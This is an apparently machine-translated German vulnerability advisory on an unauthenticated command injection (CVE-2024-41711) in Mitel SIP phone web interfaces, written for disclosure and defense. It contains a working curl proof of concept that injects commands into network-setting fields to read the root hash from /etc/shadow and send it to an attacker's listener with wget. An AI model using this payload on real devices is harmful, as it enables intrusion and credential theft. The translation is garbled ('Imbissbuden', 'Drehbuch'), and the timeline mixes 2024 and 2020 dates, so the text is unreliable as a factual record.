Sicherheitshinweis: Unauthentifizierte Befehlsinjektion in Mitel IP-Telefone

Zusammenfassung

Die Web-Administrationsoberfläche für SIP-Telefone der Mitel-Serie führt einen nicht authentifizierten Betriebssystembefehl aus, der mit unbereinigten Benutzereingaben erstellt wurde.

Betroffener Hersteller: Mitel

Modell: Mitel-6800/6900/6900 W/6970

Versionen: R6.4.0.HF1 (R6.4.0.136) und früher

Lebenslaufe: CVE-2024-41711

Auswirkung (CVSS): 8,8 (hoch) - AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Betroffene Systeme

• Mitel SIP-Telefone der 6800-Serie R6.4.0.HF1 (R6.4.0.136) und früher
• Mitel SIP-Telefone der Serie 6900 R6.4.0.HF1 (R6.4.0.136) und früher
• Mitel SIP-Telefon der Serie 6900w R6.4.0.HF1 (R6.4.0.136) und früher
• Mitel 6970 Konferenzeinheit R6.4.0.HF1 (R6.4.0.136) und früher

Auswirkung

Durch die erfolgreiche Ausnutzung dieser Sicherheitslücke kann ein nicht authentifizierter Remote-Angreifer beliebige Befehle auf dem Gerät mit erhöhten Rechten ausführen.

Beschreibung

Die CGI-Binärdatei „webconfig“ verwaltet die Web-Administrationsoberfläche und stützt sich auf eine veraltete Methode der Eingabeanalyse. Sie wird als CGI-Binärdatei des HTTPD-Webservers mit dem folgenden Befehl ausgeführt:

/usr/sbin/httpd -h /webroot

Diese Schnittstelle, zu der auch die Seite „Ethernet-Einstellungen“ gehört, verarbeitet Benutzerdaten ohne Überprüfung, sodass Benutzer beliebige Eingaben — Zeichenketten, Zahlen oder Sonderzeichen — eingeben können, die dann direkt in Konfigurationsdateien kopiert werden. Wenn Benutzer auf „Speichern“ klicken, werden alle eingegebenen Daten in die Konfigurationsdatei geschrieben /nvdata/etc/enet.cfg und innerhalb des Betriebssystems als Umgebungseinstellungen mit der höchsten Priorität angewendet über die if_setup.sh hoch Drehbuch. Darüber hinaus können Angreifer einen Verkettungsfehler ausnutzen, der Zeichenketten an die Konfigurationsdatei anhängt, sodass sie Beschränkungen der Zeichenkettenlänge umgehen können (weitere Details unten).

Machbarkeitsnachweis

Für diesen Machbarkeitsnachweis erstellen wir einen Exploit, der es einem Angreifer ermöglicht, den Root-Hash aus der Shadow-Datei zu lesen. Um sowohl die Befehlsinjektion als auch die Umgehung der Zeichenkettenlänge zu demonstrieren, verwenden wir die Parameter“Router-IP-Adresse„und“Domainname„für den Angriff, obwohl ein Angreifer jeden geeigneten Parameter für seine Nutzlast nutzen könnte. Hier geben wir die Payload für die Befehlsinjektion über das Webinterface ein und teilen sie in zwei Teile auf.

Nach dem Drücken von“Speichern„, Sie können sehen, dass die folgende Anfrage gesendet wird:

Ein Angreifer, der Port „4444" abhört, erhält die Root-Hash-Zeichenfolge.

Und Konfigurationsdatei -“/nvdata/etc/enet.cfg“ - wird so aussehen:

Verwenden Sie zum Testen den folgenden curl-Befehl und aktualisieren Sie bei Bedarf die IP-Adresse und die Hostadresse — von „127.0.0.1“ zur IP-Adresse des Routers und zum Computer des Angreifers.

‍

curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1' -H $'Content-Length: 344' \
    --data-binary $'\x0d\x0aMAIN%2FENETCFG_DHCP=on&MAIN%2FENETCFG_IPADDR=&MAIN%2FENETCFG_SUBNET=255.255.254.0&MAIN%2FENETCFG_ROUTER=%3Bwget+http%3A%2F%2F127.0.0.1&MAIN%2FENETCFG_DOMAIN=1%3A4444%2Fvers%3D%60wget+127.0.0.1%3A4444%2Fver%3D%5C%60grep+root+%2Fetc%2Fshadow%5C%60%60&MAIN%2FENETCFG_DNS1=10.136.128.11&MAIN%2FENETCFG_DNS2=1.1.1.1&MAIN%2FENETCFG_DNS3=10.10.10.10' \
    $'http://127.0.0.1/cgi-bin/webconfig?page=enetcfg&action=submit'

‍

Imbissbuden

Diese Sicherheitslücken verdeutlichen erhebliche Sicherheitsrisiken in Webadministrationsoberflächen, die veraltete Methoden zur Eingabeanalyse verwenden. Der hohe CVSS-Score (8,8) unterstreicht den kritischen Charakter dieser Sicherheitslücken, die es nicht authentifizierten Remote-Angreifern ermöglichen, beliebige Befehle mit erhöhten Rechten auszuführen.

Wenn Sie SIP-Telefone von Mitel oder andere Netzwerkgeräte mit integrierten Weboberflächen verwalten oder verwenden, ist es wichtig, Ihre Firmware auf ähnliche Probleme zu überprüfen und zu testen. Dazu gehört auch das Scannen nach ungeprüften Benutzereingaben und Befehlseingabepunkten. Unternehmen sollten die Gerätefirmware regelmäßig überprüfen und aktualisieren und eine strenge Eingabebereinigung implementieren, um unbefugten Systemzugriff und Datenschutzverletzungen zu verhindern.

Zeitleiste

• 27.02.2024.02.2020: Sicherheitslücke identifiziert
• 28.03.2020: Koordinierte Offenlegungsanfrage gesendet an PSIRT@mitel.com‍
• 28.03.2020: Ich habe vom Anbieter eine Anleitung zum sicheren Kommunikationskanal erhalten
• 09.04.2020: Bericht zur Offenlegung von Sicherheitslücken über einen sicheren Kommunikationskanal an den Anbieter gesendet
• 09.04.2020: Der Anbieter hat geantwortet und mit der Analyse begonnen
• 01.05.2020: Der Anbieter antwortete, dass wir eine alte Version verwenden und wir auf der Version 6.4 testen müssen, um die Ergebnisse zu beweisen
• 14.05.2020: Wir haben die neueste Version 6.4 erhalten und festgestellt, dass die Ergebnisse immer noch vorliegen
• 21.05.2020: Wir haben das Update für die neue Version mit Machbarkeitsnachweisen für die Ergebnisse veröffentlicht
• 21.05.2020: Der Anbieter hat geantwortet und mit der Analyse begonnen
• 21.06.2020: Der Anbieter bestätigte die Ergebnisse der „Unauthenticated Command Injection“ und begann mit der Arbeit an der neuen Version. Wir waren uns einig, auf die Veröffentlichung und Beratung durch den Anbieter zu warten
• 17.07.2020: Der Anbieter hat die Sicherheitsempfehlung 24-0020 für das gefundene Problem veröffentlicht
• 30.07.2020: Vom Anbieter bereitgestellte CVE-Nummer — CVE-2024-41711